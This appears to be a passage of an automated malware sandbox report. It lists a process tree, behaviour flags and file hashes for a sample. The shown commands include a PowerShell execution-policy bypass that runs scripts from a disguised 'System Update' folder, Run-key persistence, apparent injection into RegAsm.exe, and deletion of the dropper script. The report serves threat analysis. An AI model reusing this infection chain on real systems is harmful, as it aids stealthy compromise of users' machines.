- Suspicious use of WriteProcessMemory
PID:1764 -
C:\Windows\SYSTEM32\cmd.execmd.exe /c mkdir "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\"4⤵PID:2380
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\\x2.ps1"4⤵
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2888
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\zzbke.ps1"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4280 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2284
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C:\Windows\SYSTEM32\cmd.execmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs"4⤵PID:3560
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4628,i,16315016104747277319,5510969007830467313,262144 --variations-seed-version --mojo-platform-channel-handle=3692 /prefetch:81⤵PID:4716
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
144B
MD5f1e485ba495edefb4087b5dacd5e9469
SHA1b269b627574c83cb8804a04ab9aca6720c257160
SHA2562ada8dacafe6ec1c26413d9a60100775b3125bc4c188b65611f2cf19c9ae9e52
SHA512b0bae425755f00a96518a3d45929f396998c82e0b962e4bd8946491bc3dc4d6844db5fd8e96cb6eb18de27fc5f50e9af65933c12f0bddfcc0b5b97bdab8a5cb0
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Filesize
2KB
MD56cf293cb4d80be23433eecf74ddb5503
SHA124fe4752df102c2ef492954d6b046cb5512ad408
SHA256b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA5120f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
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Filesize
334B
MD5c93928d37755857ae2479c5fde8d1095
SHA10f8d1b21c180c961577ed2f137a0d69a194967f0
SHA256f03e7db2e1e03523989412e5252aa9befb684c1c58b824cc82d1657dc8029241
SHA512b4dbb983ab33a7ee42d6feb88265e0280c58ce15ad687f720c386b037a703a872ffaf3659b31cd01e428259bf6333a2dc6b6ae7d9b1709543520028b649b34c0
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Filesize
1.7MB
MD546153d1e4e7f4151898a8c84bbfa1037
SHA1eb4dcd68cce1346869a5c2ec55430968ab683df5
SHA2566104acedbcfcdaa76ad7e685a79d2581af61e8763f0b57c587df52c870a7a708
SHA512b4ead3814d5f8d04eaef62b0b457878f08453917b3de06b1fa2a9e67bf6107240fb98fbee8a09aae86ab9b21f5a1e321f5915dfbe179bd95cdb2a0a34bd69914
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Filesize
1KB
MD5c2591b8d3c298836fc77aeec431b0a88
SHA156aed0d369ac0a912275f1d29075c78da932e2a7
SHA256bfca64476080417d90c94877309a740be930c08c7d60bd2579ff9b523b4d9c9f
SHA51295162e3fd633a27db36565cacc0c6e0ce220e080ca402849238cf4db42ed19772959c4d664a82cfbfeceac4271d49a0f1f5a2c0edceecbd100d7f7797a5211c8
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Filesize
948B
MD5721991167161c45d61b03e4dbad4984b
SHA1fd3fa85d142b5e8d4906d3e5bfe10c5347958457
SHA2560a7be18529bdbed6fc9f36118a6147920d31099ee0fb5a2a8b6b934d1b9bcefb
SHA512f1aa4f8e48eeb5b5279530d8557cb292a08b25ad46af0dd072130c395127f6c064c88b04910c626c13f22462104ac3d36fa0d4064fff0ec7528922df54ecdcf0
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82